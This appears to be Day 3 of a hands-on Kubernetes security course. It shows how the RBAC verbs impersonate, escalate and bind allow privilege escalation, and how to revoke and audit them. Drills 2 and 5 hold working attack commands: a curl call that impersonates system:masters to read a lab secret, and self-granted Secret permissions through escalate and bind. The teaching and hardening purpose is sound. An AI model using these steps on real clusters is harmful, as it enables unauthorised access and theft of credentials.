Day 3: Impersonation, escalate and bind
Goal: You abuse three quiet RBAC permissions for privilege escalation – and shut them off. · Duration: approx. 75 min · Prerequisite: Day 2
Briefing
Three RBAC verbs look harmless and are not: impersonate
lets you act as someone else – all the way up to the group
system:masters, the built-in cluster-admin.
escalate overrides the protection that prevents you from
giving yourself more permissions. bind allows you to assign
a role that you do not hold yourself. None of them ever belongs to a
workload.
Drill 1: The misconfiguration – impersonate
kubectl -n shop create secret generic db-credentials \
--from-literal=password=S3cr3t-lab-pw
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: impersonator
rules:
- apiGroups: [""]
resources: ["users","groups","serviceaccounts"]
verbs: ["impersonate"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: attacker-impersonator
subjects:
- kind: ServiceAccount
name: default
namespace: attacker
roleRef:
kind: ClusterRole
name: impersonator
apiGroup: rbac.authorization.k8s.io
EOFSave your progress? Sign up for free
Drill 2: Exploit – act as cluster-admin
You yourself are not allowed to read Secrets. But you are allowed to
pretend to be someone who is. For this, the API knows the
headers Impersonate-User and
Impersonate-Group. The group system:masters is
hard-wired to cluster-admin in the kube-apiserver:
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -H "Authorization: Bearer $TOKEN" \
-H "Impersonate-User: nobody" \
-H "Impersonate-Group: system:masters" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials \
| grep -oE "\"password\": *\"[^\"]*\"" \
| sed -E "s/.*\"password\": *\"//;s/\"//" | base64 -d; echo'Expected:
S3cr3t-lab-pw
A pod without any Secret permissions of its own reads the password –
because it is allowed to pose as the all-powerful group.
impersonate on groups is effectively
cluster-admin.
Save your progress? Sign up for free
Drill 3: Fix – revoke impersonate
kubectl delete clusterrolebinding attacker-impersonator
kubectl delete clusterrole impersonatorSave your progress? Sign up for free
Drill 4: Proof
kubectl -n attacker exec shell -- bash -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s -k -o /dev/null -w "%{http_code}\n" -H "Authorization: Bearer $TOKEN" \
-H "Impersonate-User: nobody" -H "Impersonate-Group: system:masters" \
https://kubernetes.default.svc/api/v1/namespaces/shop/secrets/db-credentials'Expected:
403
Save your progress? Sign up for free
Drill 5: escalate and bind – the self-service store
RBAC has a built-in protection: you cannot create a role that is allowed to do more than you yourself have. Build a ServiceAccount that may manage roles – nothing else:
kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: rbac-manager, namespace: attacker}
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles","rolebindings"]
verbs: ["create","get","list","update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: rbac-manager, namespace: attacker}
subjects: [{kind: ServiceAccount, name: default, namespace: attacker}]
roleRef: {kind: Role, name: rbac-manager, apiGroup: rbac.authorization.k8s.io}
EOFNow try to write yourself Secret permissions:
kubectl create role self-secrets --verb=get --resource=secrets \
--as=system:serviceaccount:attacker:default -n attackerExpected:
Error from server (Forbidden): roles.rbac.authorization.k8s.io "self-secrets" is
forbidden: user "system:serviceaccount:attacker:default" ... is attempting to grant
RBAC permissions not currently held:
{APIGroups:[""], Resources:["secrets"], Verbs:["get"]}
The protection kicks in. It falls the moment someone gives the
account escalate (create a role with more permissions) and
bind (assign someone else’s role):
kubectl patch role rbac-manager -n attacker --type=json -p='[{"op":"add","path":"/rules/-","value":{"apiGroups":["rbac.authorization.k8s.io"],"resources":["roles","rolebindings"],"verbs":["escalate","bind"]}}]'
kubectl create role self-secrets --verb=get,list --resource=secrets \
--as=system:serviceaccount:attacker:default -n attacker
kubectl create rolebinding self-secrets --role=self-secrets \
--serviceaccount=attacker:default \
--as=system:serviceaccount:attacker:default -n attacker
kubectl auth can-i list secrets --as=system:serviceaccount:attacker:default -n attackerExpected:
role.rbac.authorization.k8s.io/self-secrets created
rolebinding.rbac.authorization.k8s.io/self-secrets created
yes
With escalate+bind, the account writes
itself the permissions. That is why these verbs belong only in the hands
of real administrators. Clean up:
kubectl -n attacker delete rolebinding rbac-manager self-secrets
kubectl -n attacker delete role rbac-manager self-secretsSave your progress? Sign up for free
Checkpoint
No workload may impersonate:
kubectl auth can-i impersonate groups --as=system:serviceaccount:attacker:defaultExpected: no
The escalation protection is active (the account cannot write itself Secret permissions):
kubectl auth can-i escalate roles --as=system:serviceaccount:attacker:default -n attackerExpected: no
Challenge
Find every account in the cluster that is allowed to
impersonate – that is one of the most dangerous findings of
all.
Hint: kubectl get clusterroles -o json
contains the rules; filter by the verb.
Solution
kubectl get clusterroles -o json | python3 -c '
import sys,json
for r in json.load(sys.stdin)["items"]:
for rule in r.get("rules") or []:
if "impersonate" in (rule.get("verbs") or []):
print(r["metadata"]["name"], rule.get("resources"))'Expected: system roles such as system:controller:....
Every role of your own with impersonate is an
audit finding.
Save your progress? Sign up for free
Enterprise Note
impersonate,escalate,bindonly for administrators, never for workloads or CI SAs.system:mastersbypasses RBAC completely and shows up in audit logs as a normal request – impersonation is therefore hard to detect. Audit logging is mandatory: the kube-apiserver recordsimpersonatedUserin the audit event.- In RKE2, enable the audit log (
audit-policy-filein the kube-apiserver config) and alert on"impersonatedUser". - Kyverno can block RBAC objects with
impersonate/escalateon the admission side (Day 12).